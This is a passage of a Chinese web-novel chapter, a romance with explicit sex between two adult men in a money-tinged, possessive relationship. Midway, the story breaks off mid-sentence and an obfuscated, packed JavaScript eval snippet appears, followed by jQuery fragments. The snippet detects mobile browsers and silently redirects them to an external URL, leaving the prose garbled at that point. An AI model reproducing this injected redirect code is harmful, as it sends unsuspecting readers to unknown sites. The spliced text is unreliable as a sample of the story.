车停在汉大门前的时候,周畅的表情尚有些古怪。踌躇半晌,最终只说:“平安夜快乐。”
临近午夜,街上依然人潮拥挤。耳畔充斥着中英文的圣诞歌,张灯结彩的冷杉随处可见。温辛松开安全带:“你应该对她说。”
“可都这个点了,我打过去会不会很冒犯?万一她和别人在一起呢?如果是男生,我该怎么办?”周畅懊恼:“我刚才就应该说的。”
温辛没再回答,推上车门。
夜晚的风有些彻骨,温辛手插在大衣口袋,低头看着脚上于他而言,多少有些“不伦不类”的皮鞋,思考挂多少合适。
蓦地,一辆车在他面前刹停。
傅之炀换了辆宾利。从外,依然什么都看不见。
大概几秒,车门打开,傅之炀挺拔的身躯出现在视线里。他没穿大衣,外套解开,走来拉开副驾驶的车门,做出邀请的姿态。
温辛这才挪脚。
“温辛?”声音自身后传来,带着少许的诧异:“真的是你啊!”
温辛顿了下:“是我。”
舍友身边好几个人,男男女女加起来大约六七个,这时通通朝他望来。
“你穿成这样我差点没认出来。”舍友没见过他这个打扮,目光不禁多留了几秒。
温辛刚要开口,后腰便被一只手轻轻搭住。傅之炀迈上台阶,手掌按在他后腰,声音不高不低:“这位是?”
“哦。”舍友立刻介绍:“我叫张齐,我们一个宿舍的,这些都是我社团的同学。”
“这样啊。”傅之炀颔首:“你们好,我是温辛的……”他扯动唇角,露出微笑:“哥哥。”
温辛没出声,被当做默认。
客套两句,舍友递了个纸袋给温辛,看包装,应该是苹果:“不好意思啊,只有一个,你俩分吧。”
傅之炀伸手,替温辛接了过来,非常有礼貌地向他道谢:“有机会我请大家吃饭,谢谢你们照顾我弟弟。”
就像一个真正的哥哥。如果没有在温辛咬下一块苹果时凑过来说:“feed me。”可能会更像。
透过后视镜,能看见舍友走远的背影。
傅之炀扣住他的下巴,迫使他挪回视线。嘴唇贴上来,温辛没有躲避,甚至配合地打开齿关,任由他勾弄,纠缠,吮走口腔内残留的苹果的汁水。
温辛看他片刻,给出相对客观的评价:“你好像有病。”
傅之炀道:“我还有钱。”
车停在路边,在人声鼎沸的街道。傅之炀看着他,说出不像警告地警告:“所以,不要企图找其他人。哄我,哄我就好了。”
温辛望着近在咫尺的脸:“傅之炀,你真的非常喜欢我啊。”
“是啊,我对你一见钟情。”街道上的热闹被隔绝在车门之外,晦暗的车厢内,傅之炀笑着说:“你乖一点。”他握住温辛的手腕,亲吻他的指尖:“无论是钱还是其他,想要什么,都可以从我这里得到。”
温辛看着他,同样笑了,就像在对他的话做出回应:“除了你,谁的钱,我都不要。”
迎面而来的车辆投来的光亮将车厢短暂照亮了车内二人,他们神色各异,对彼此的话,都没有放在心上。
温辛不喜欢吃苹果,咬第三口的时候眉头微不可查地蹙了一下,吞咽变得缓慢。傅之炀伸手接过去,吃了剩下的。
—
节假日总是事故频发,当地电台的主持人正在播报高架上的一场连环追尾。空调打得很高,傅之炀往嘴里塞了根烟,衔着没有点燃。
温辛在睡觉。
大约做好了整晚不睡的准备,车子一经启动,便闭上眼睛。
睡得不沉,一碰就醒。
半睁的眼睛浸着水汽,不似清醒时那样疏离,见车停了,就说:“你先去洗澡,我靠会儿就来。”声音里带着点将醒未醒的哑,也并不多温暖。
傅之炀手收回来,下车点了根烟。
夜晚的风里带着刺人的寒意,白雾在眼前散开。他靠在车前,望着夜幕下伫立的三层建筑,将手中的烟抽完,碾灭。
回到车上,重新启动。
大约两点,温辛感觉有只手在碰他,先是一惊,下意识推拒那只朝他伸来的手。
下一刻,被熟悉的温度和气息拂在面颊,反应过来,不再抗拒的同时,配合地放松了身体。
不想睁眼,只道:“不要弄在里面。”
傅之炀没应,一只手绕过他的膝弯。
身体腾空的失重感让温辛短暂睁开双眼,入目的灯光有些许刺眼,眩光效应致使视线陷入了几秒钟里空白。
也足够他发现,这不是襄元路的房子。
“去哪?”他问。
傅之炀声音不大,堪堪够传入温辛耳中:“回家。”
眼前渐渐清晰,电梯轿厢内的显示屏正播放都市花园的宣传广告,温辛头歪过来,又闭上眼睛。
走出电梯,傅之炀带他在门口停留了一会儿。温辛没睡着,听见指纹锁发出的细微的声响。
手被傅之炀握住,摆弄片刻,压着他一根手指,按在指纹采集器上。
“不用这么麻烦。”温辛说:“告诉我密码就好了。”
傅之炀却说:“小区的门禁我帮你录好了,以后你住在这里。”
温辛眼睛睁开。
良久,才开口:“怎么,你要跟我同居?”他两只手臂搂上来,环住傅之炀的脖子,靠近他的嘴唇:“傅之炀,你是不是搞错了,我们没有在谈恋爱,还是说,”
温辛扯动唇角,勾出浅淡的笑:“你真的爱上我了?”
傅之炀没有立刻回答。进门,径直走进卧室,将他放在床上,扯了衬衫的几颗扣子,单膝跪在床上,贴着温辛的身体,压出深深的凹陷:“my sweet mommy。”
对岸的灯光照亮了半个夜空,窗户开着,夜风灌进来的同时,送来了轮渡悠长的汽笛。除此之外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480552|185620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还有傅之炀低缓地:“我当然爱你。”
高大的身躯罩下来,几乎将温辛完整的覆盖。
做到凌晨,天蒙蒙亮的时候,温辛终于受不了地用手抵住了傅之炀的胯骨。
只是使不上力,不足以抵抗对方力量上地压制。
“好了,就好了。”傅之炀的声音自耳畔响起。
这样的话,温辛这一晚,已经听了不知多少次。
汗液濡湿了床单,温辛的手臂伸出去,汗涔涔,抓住了床沿。
声音颤栗:“傅之炀……”
“我在。”
身体承受不住更多,温辛流出生理性的眼泪,表情在此刻崩出几道裂纹,终于有了几分过去的样子。
傅之炀愈发沉迷,无法自拔。
难耐到了极致,温辛反而迎合上去:“求你……哥哥,求你了……”
他们见面的次数不多,傅之炀又是这个年纪,总是没有节制。
天亮时,温辛几乎昏死。
傅之炀这才停止,抹去他脸上的汗珠,亲了亲他黏在一起的眼皮,抽身,去浴室放了缸温水。
替他清理干净,在一旁点了根烟,将暖气打到三十度。
盯着温辛,直到他开口,说:“我不要车。”
傅之炀方出声:“知道了。”
他给了温辛一张不限额的副卡。等他握住,才伸手,将他从水里捞出来。
温辛顺势搂住他的脖子,湿淋淋地贴过去:“傅之炀。”
“我在听。”
温辛嘶哑着声音,听不出多少情绪:“我上班要迟到了。”
“那就不要去了。”他道:“你不需要做这些事情。”
“那我应该做什么?待在这里,将自己洗得干干净净,张开腿等你来艹吗?”温辛声音淡淡的,没有自嘲,也没有对他的讥讽,平静得仿佛只剩下一副躯壳在同他对话。
傅之炀没有回应。温辛又道:“你能不能帮我找一个人。”
有求于人时的温辛从不吝啬于展现出柔软的自己。他主动靠近,和傅之炀接吻。
叫他哥哥,说:“你帮帮我。”又在目的达成后,毫不犹豫地挣出他的怀抱。
狡猾,果断。
傅之炀非但没有生气,反而跟进卧室,在他穿衣服时上前,替他扣上扣子。将自己昨晚扒下来的衣服一件件套回去,包括袜子。
他原本半蹲着,被温辛躲开后,便单膝磕在了地板上,发出“咚”地一道闷响。
温辛这才不动了。
冬天的早晨总是雾蒙蒙的,天亮得迟,太阳被一层一层的云雾遮蔽。
傅之炀抬头。
小片刻,才勾动唇角,噙着淡淡的笑意,对投来居高临下的目光的温辛道:“他就做不到。”
柔情蜜意。
宛若一对真正的恋人。
天光乍破,金色的暖阳铺了一缕在傅之炀脸上。温辛笑了:“所以,我喜欢你啊。”